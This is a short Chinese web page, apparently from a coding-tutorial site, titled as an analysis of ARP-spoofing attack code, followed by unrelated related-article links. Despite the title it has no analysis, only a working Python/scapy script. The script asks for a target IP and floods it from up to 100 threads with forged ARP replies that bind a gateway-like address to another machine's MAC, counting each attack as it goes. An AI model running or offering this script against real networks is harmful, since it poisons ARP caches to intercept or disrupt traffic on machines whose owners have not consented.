python發(fā)送arp欺騙攻擊代碼分析
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount
BROADCASTMAC = getmacbyip('192.168.0.120')
class Loop(Thread):
def __init__(self,ip):
Thread.__init__(self)
self.ip = ip
def run(self):
global BROADCASTMAC
arp = ARP()
arp.psrc = '192.168.0.251'
arp.hwsrc = BROADCASTMAC
arp.pdst = self.ip
arp.op = 2
sr1(arp,verbose = 0,retry = 0,timeout = 3)
class Main(Thread):
def __init__(self,ip):
Thread.__init__(self)
self.ip = ip
def run(self):
limit = 100
total = 0
while True:
if activeCount() < limit:
Loop(self.ip).start()
total = total + 1
print '目前已進行了ARP攻擊的次數(shù)為:'+str(total)
if __name__ == '__main__':
ip = raw_input('請輸入要進行ARP攻擊的機器IP:')
Main(ip = ip).start()
相關文章
PyCharm 2020.2.2 x64 下載并安裝的詳細教程
這篇文章主要介紹了PyCharm 2020.2.2 x64 下載并安裝的詳細教程,本文通過圖文并茂的形式給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下2020-10-10Python的凈值數(shù)據(jù)接口調(diào)用示例分享
這篇文章主要介紹了Python的凈值數(shù)據(jù)接口調(diào)用示例分享的相關資料,需要的朋友可以參考下2016-03-03Python opencv缺陷檢測的實現(xiàn)及問題解決
這篇文章主要介紹了Python opencv缺陷檢測的實現(xiàn)及問題解決,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2021-04-04Python之lambda匿名函數(shù)及map和filter的用法
今天小編就為大家分享一篇關于Python之lambda匿名函數(shù)及map和filter的用法,小編覺得內(nèi)容挺不錯的,現(xiàn)在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧2019-03-03